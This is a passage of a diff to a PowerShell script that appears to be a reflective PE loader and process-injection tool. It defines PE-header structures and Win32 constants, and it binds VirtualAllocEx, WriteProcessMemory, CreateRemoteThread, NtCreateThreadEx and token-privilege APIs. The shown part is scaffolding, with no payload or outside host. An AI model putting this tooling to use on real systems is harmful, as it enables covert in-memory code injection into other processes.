Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32 + + #Struct IMAGE_NT_HEADERS64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null + $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64 + + #Struct IMAGE_NT_HEADERS32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null + $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32 + + #Struct IMAGE_DOS_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64) + $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null + + $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4)) + $e_resField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null + + $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10)) + $e_res2Field.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null + $IMAGE_DOS_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER + + #Struct IMAGE_SECTION_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40) + + $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8)) + $nameField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER + + #Struct IMAGE_BASE_RELOCATION + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null + $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION + + #Struct IMAGE_IMPORT_DESCRIPTOR + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null + $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR + + #Struct IMAGE_EXPORT_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null + $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY + + #Struct LUID + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null + $LUID = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID + + #Struct LUID_AND_ATTRIBUTES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12) + $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null + $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES + + #Struct TOKEN_PRIVILEGES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16) + $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null + $TOKEN_PRIVILEGES = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES + + return $Win32Types + } + + Function Get-Win32Constants + { + $Win32Constants = New-Object System.Object + + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008 + $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020 + $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2 + $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0 + + return $Win32Constants + } + + Function Get-Win32Functions + { + $Win32Functions = New-Object System.Object + + $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc + $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc + + $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx + $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx + + $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy + $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr]) + $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy + + $memsetAddr = Get-ProcAddress msvcrt.dll memset + $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) + $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset + + $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA + $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr]) + $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary + + $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress + $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr]) + $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress + + $GetProcAddressIntPtrAddr = Get-ProcAddress kernel32.dll GetProcAddress #This is still GetProcAddress, but instead of PowerShell converting the string to a pointer, you must do it yourself + $GetProcAddressIntPtrDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr]) + $GetProcAddressIntPtr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressIntPtrAddr, $GetProcAddressIntPtrDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressIntPtr -Value $GetProcAddressIntPtr + + $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree + $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree + + $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx + $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx + + $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect + $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) + $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect + + $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA + $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr]) + $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate) + $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle + + $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary + $FreeLibraryDelegate = Get-DelegateType @([IntPtr]) ([Bool]) + $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary + + $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess + $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess + + $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject + $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32]) + $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject + + $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory - - $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory + $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory + + $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory - - $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread + $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory + + $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread - - $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread + $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread + + $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool]) $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread - - $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread + + $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool]) $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken - - $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread + $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken + + $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr]) $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread - - $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread + + $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool]) $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges - - $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA + $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges + + $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool]) $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue - - $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf + $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue + + $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool]) $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf - - $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx - $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32]) - $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx - - $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process + $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf + + # NtCreateThreadEx is only ever called on Vista and Win7. NtCreateThreadEx is not exported by ntdll.dll in Windows XP + if (([Environment]::OSVersion.Version -ge (New-Object 'Version' 6,0)) -and ([Environment]::OSVersion.Version -lt (New-Object 'Version' 6,2))) { + $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx + $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32]) + $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx + } + + $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process - - $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread + $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process + + $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr]) $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread - - return $Win32Functions - } - ##################################### - - - ##################################### - ########### HELPERS ############ - ##################################### - - #Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function - #This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses - Function Sub-SignedIntAsUnsigned - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [Int64] - $Value1, - - [Parameter(Position = 1, Mandatory = $true)] - [Int64] - $Value2 - ) - - [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) - [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) - [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) - - if ($Value1Bytes.Count -eq $Value2Bytes.Count) - { - $CarryOver = 0 - for ($i = 0; $i -lt $Value1Bytes.Count; $i++) - { - $Val = $Value1Bytes[$i] - $CarryOver - #Sub bytes - if ($Val -lt $Value2Bytes[$i]) - { - $Val += 256 - $CarryOver = 1 - } - else - { - $CarryOver = 0 - } - - - [UInt16]$Sum = $Val - $Value2Bytes[$i] - - $FinalBytes[$i] = $Sum -band 0x00FF - } - } - else - { - Throw "Cannot subtract bytearrays of different sizes" - } - - return [BitConverter]::ToInt64($FinalBytes, 0) - } - - - Function Add-SignedIntAsUnsigned - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [Int64] - $Value1, - - [Parameter(Position = 1, Mandatory = $true)] - [Int64] - $Value2 - ) - - [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) - [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) - [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) - - if ($Value1Bytes.Count -eq $Value2Bytes.Count) - { - $CarryOver = 0 - for ($i = 0; $i -lt $Value1Bytes.Count; 